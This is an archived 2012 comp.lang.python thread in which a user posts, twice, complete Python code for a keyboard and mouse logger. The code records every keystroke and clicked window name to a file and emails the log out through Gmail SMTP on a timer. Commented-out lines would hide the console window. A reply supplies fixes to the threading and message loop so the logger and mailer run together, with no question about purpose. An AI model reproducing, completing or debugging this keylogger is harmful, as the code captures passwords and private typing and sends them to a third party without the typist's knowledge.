Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]
Groups > comp.lang.python > #34089 > unrolled thread
| Started by | Doron <dorimeshi@gmail.com> |
|---|---|
| First post | 2012-11-29 22:03 -0800 |
| Last post | 2012-12-01 05:38 -0800 |
| Articles | 5 — 4 participants |
Back to article view | Back to comp.lang.python
pyHook and time libraries Doron <dorimeshi@gmail.com> - 2012-11-29 22:03 -0800
RE: pyHook and time libraries "Prasad, Ramit" <ramit.prasad@jpmorgan.com> - 2012-11-30 19:47 +0000
Re: pyHook and time libraries doronmmm@gmail.com - 2012-12-01 05:38 -0800
Re: pyHook and time libraries Dennis Lee Bieber <wlfraed@ix.netcom.com> - 2012-12-01 14:26 -0500
Re: pyHook and time libraries doronmmm@gmail.com - 2012-12-01 05:38 -0800
| From | Doron <dorimeshi@gmail.com> |
|---|---|
| Date | 2012-11-29 22:03 -0800 |
| Subject | pyHook and time libraries |
| Message-ID | <9cc06bdd-8254-4f6b-9ce3-0a43b229ca14@googlegroups.com> |
Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every predetermined period. I've manage to make the recorder and the auto-email sender, but I still can't make both of them work simultaneously. Can someone help me with this please? I thought about threading but again... It just sends blank mails without the logs. Thanks alot ahead!
[toc] | [next] | [standalone]
| From | "Prasad, Ramit" <ramit.prasad@jpmorgan.com> |
|---|---|
| Date | 2012-11-30 19:47 +0000 |
| Message-ID | <mailman.391.1354304894.29569.python-list@python.org> |
| In reply to | #34089 |
Doron wrote: > > Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every > predetermined period. > > I've manage to make the recorder and the auto-email sender, but I still can't make both of them work > simultaneously. > > Can someone help me with this please? > I thought about threading but again... It just sends blank mails without the logs. > > Thanks alot ahead! I am not sure how to even begin helping you. I do not even know what is wrong other than "can't make both of them work simultaneously". What version of Python and OS? Are you using any 3rd party modules? What is the code you use? What happens and what do you expect? How are you getting the logs for email? Are they being passed in or are you using a log file? ~Ramit This email is confidential and subject to important disclaimers and conditions including on offers for the purchase or sale of securities, accuracy and completeness of information, viruses, confidentiality, legal privilege, and legal entity disclaimers, available at http://www.jpmorgan.com/pages/disclosures/email.
[toc] | [prev] | [next] | [standalone]
| From | doronmmm@gmail.com |
|---|---|
| Date | 2012-12-01 05:38 -0800 |
| Message-ID | <c30a77db-6254-49c2-acab-897def23599e@googlegroups.com> |
| In reply to | #34105 |
בתאריך יום שישי, 30 בנובמבר 2012 21:47:57 UTC+2, מאת Prasad, Ramit:
> Doron wrote:
>
> >
>
> > Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every
>
> > predetermined period.
>
> >
>
> > I've manage to make the recorder and the auto-email sender, but I still can't make both of them work
>
> > simultaneously.
>
> >
>
> > Can someone help me with this please?
>
> > I thought about threading but again... It just sends blank mails without the logs.
>
> >
>
> > Thanks alot ahead!
>
>
>
> I am not sure how to even begin helping you. I do not even know
>
> what is wrong other than "can't make both of them work simultaneously".
>
> What version of Python and OS? Are you using any 3rd party modules?
>
> What is the code you use? What happens and what do you expect? How
>
> are you getting the logs for email? Are they being passed in or are
>
> you using a log file?
>
>
>
>
>
> ~Ramit
>
>
>
>
>
>
>
> This email is confidential and subject to important disclaimers and
>
> conditions including on offers for the purchase or sale of
>
> securities, accuracy and completeness of information, viruses,
>
> confidentiality, legal privilege, and legal entity disclaimers,
>
> available at http://www.jpmorgan.com/pages/disclosures/email.
This is the code:
=======================
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
import time
import thread, threading
#win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)
log = ""
logpath = "log.txt"
openfile = open(logpath,"w")
openfile.write("")
#openfile = open(logpath,"r+")
l = threading.Lock()
def sendEmail():
print("ready to send email")
fromaddr = 'email@gmail.com'
toaddrs = 'email@gmail.com'
msg = open('log.txt',"r").read()
username = 'something'
password = 'something'
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
print("mail sent")
def sendEmailAuto(dt,openfile):
tt = time.time()
nn = tt+dt
while tt<nn:
print(tt,nn)
if tt>=nn-0.5:
#l.acquire() <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
msg = open('log.txt',"r").read()
print(msg)
sendEmail()
tt = time.time()
nn = tt+dt
log = ""
#l.release()
else:
tt = time.time()
def OnKeyboardEvent(event):
try:
global log
if event.Alt == 32 and event.KeyID == 160:
log = "[LangCh]"
elif event.KeyID>=37 and event.KeyID<=40:
log = "["+event.Key+"]"
elif event.Ascii == 8:
log = "[BS]"
elif event.Ascii == 9:
log = "[TAB]"
elif event.Ascii == 13:
log = "[NL]"
elif event.Ascii == 27:
log = "[ESC]"
elif event.Alt == 32 and event.KeyID == 75:
openfile.close()
sendEmail()
exit()
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
return True
def OnMouseEvent(event):
global log
if event.MessageName == "mouse left down":
log = "<"+event.WindowName +">\n"
openfile.write(log)
if event.MessageName == "mouse left up" and event.WindowName == None :
log = "-\n"
openfile.write(log)
return True
thread.start_new_thread(sendEmailAuto, (10,openfile))
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent
hm.HookKeyboard()
hm2.HookMouse()
pythoncom.PumpMessages()
========================================
i want that an email will be sent to the address every 5 minutes for example.
i'm working on Windows7 and the latest python version.
[toc] | [prev] | [next] | [standalone]
| From | Dennis Lee Bieber <wlfraed@ix.netcom.com> |
|---|---|
| Date | 2012-12-01 14:26 -0500 |
| Message-ID | <mailman.404.1354389995.29569.python-list@python.org> |
| In reply to | #34123 |
On Sat, 1 Dec 2012 05:38:39 -0800 (PST), doronmmm@gmail.com declaimed
the following in gmane.comp.python.general:
<stripping practically everything>
> def sendEmailAuto(dt,openfile):
> tt = time.time()
> nn = tt+dt
>
> while tt<nn:
Ugh... A CPU intensive polling loop!
The simplest way to delay is to use time.sleep()
while True:
time.sleep(300.0) #5min * 60sec
There is no guarantee that this will fire exactly 5min later -- but
should fire as soon after 5min as it gets control...
> def OnMouseEvent(event):
> global log
Why bother defining "log" as global, when the only contents used are
local messages being written to a file?
>
> thread.start_new_thread(sendEmailAuto, (10,openfile))
>
> hm = pyHook.HookManager()
> hm.KeyDown = OnKeyboardEvent
> hm2 = pyHook.HookManager()
> hm2.MouseAll = OnMouseEvent
>
> hm.HookKeyboard()
> hm2.HookMouse()
>
> pythoncom.PumpMessages()
>
Uhm... I don't know if pythoncom (or the PumpMessages() ) method is
Python friendly -- that is, if it DOESN'T release the GIL at some point,
your email thread will never get control. Compare the difference between
.PumpMessages() and .PumpWaitingMessages(). The latter only runs the
currently pending batch and returns (which will definitely allow your
thread to run) -- the implication is the .PumpMessages() won't return
until the (implied) window is closed. Using .PumpWaitingMessages() will
require making a loop in the main thread...
while True:
if pythoncom.PumpWaitingMessages(): break #window closed
time.sleep(0.0) #ensure threading task swapping can happen
--
Wulfraed Dennis Lee Bieber AF6VN
wlfraed@ix.netcom.com HTTP://wlfraed.home.netcom.com/
[toc] | [prev] | [next] | [standalone]
| From | doronmmm@gmail.com |
|---|---|
| Date | 2012-12-01 05:38 -0800 |
| Message-ID | <mailman.402.1354369123.29569.python-list@python.org> |
| In reply to | #34105 |
בתאריך יום שישי, 30 בנובמבר 2012 21:47:57 UTC+2, מאת Prasad, Ramit:
> Doron wrote:
>
> >
>
> > Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every
>
> > predetermined period.
>
> >
>
> > I've manage to make the recorder and the auto-email sender, but I still can't make both of them work
>
> > simultaneously.
>
> >
>
> > Can someone help me with this please?
>
> > I thought about threading but again... It just sends blank mails without the logs.
>
> >
>
> > Thanks alot ahead!
>
>
>
> I am not sure how to even begin helping you. I do not even know
>
> what is wrong other than "can't make both of them work simultaneously".
>
> What version of Python and OS? Are you using any 3rd party modules?
>
> What is the code you use? What happens and what do you expect? How
>
> are you getting the logs for email? Are they being passed in or are
>
> you using a log file?
>
>
>
>
>
> ~Ramit
>
>
>
>
>
>
>
> This email is confidential and subject to important disclaimers and
>
> conditions including on offers for the purchase or sale of
>
> securities, accuracy and completeness of information, viruses,
>
> confidentiality, legal privilege, and legal entity disclaimers,
>
> available at http://www.jpmorgan.com/pages/disclosures/email.
This is the code:
=======================
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
import time
import thread, threading
#win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)
log = ""
logpath = "log.txt"
openfile = open(logpath,"w")
openfile.write("")
#openfile = open(logpath,"r+")
l = threading.Lock()
def sendEmail():
print("ready to send email")
fromaddr = 'email@gmail.com'
toaddrs = 'email@gmail.com'
msg = open('log.txt',"r").read()
username = 'something'
password = 'something'
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
print("mail sent")
def sendEmailAuto(dt,openfile):
tt = time.time()
nn = tt+dt
while tt<nn:
print(tt,nn)
if tt>=nn-0.5:
#l.acquire() <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
msg = open('log.txt',"r").read()
print(msg)
sendEmail()
tt = time.time()
nn = tt+dt
log = ""
#l.release()
else:
tt = time.time()
def OnKeyboardEvent(event):
try:
global log
if event.Alt == 32 and event.KeyID == 160:
log = "[LangCh]"
elif event.KeyID>=37 and event.KeyID<=40:
log = "["+event.Key+"]"
elif event.Ascii == 8:
log = "[BS]"
elif event.Ascii == 9:
log = "[TAB]"
elif event.Ascii == 13:
log = "[NL]"
elif event.Ascii == 27:
log = "[ESC]"
elif event.Alt == 32 and event.KeyID == 75:
openfile.close()
sendEmail()
exit()
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
return True
def OnMouseEvent(event):
global log
if event.MessageName == "mouse left down":
log = "<"+event.WindowName +">\n"
openfile.write(log)
if event.MessageName == "mouse left up" and event.WindowName == None :
log = "-\n"
openfile.write(log)
return True
thread.start_new_thread(sendEmailAuto, (10,openfile))
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent
hm.HookKeyboard()
hm2.HookMouse()
pythoncom.PumpMessages()
========================================
i want that an email will be sent to the address every 5 minutes for example.
i'm working on Windows7 and the latest python version.
[toc] | [prev] | [standalone]
Back to top | Article view | comp.lang.python
csiph-web